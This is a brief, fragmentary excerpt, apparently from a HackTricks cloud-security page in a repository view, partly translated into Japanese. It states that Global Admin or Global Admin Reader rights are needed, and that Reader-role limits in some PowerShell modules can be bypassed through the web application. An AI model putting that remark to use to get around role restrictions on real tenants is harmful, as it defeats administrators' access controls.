You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features **Web アプリケーション経由**.
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user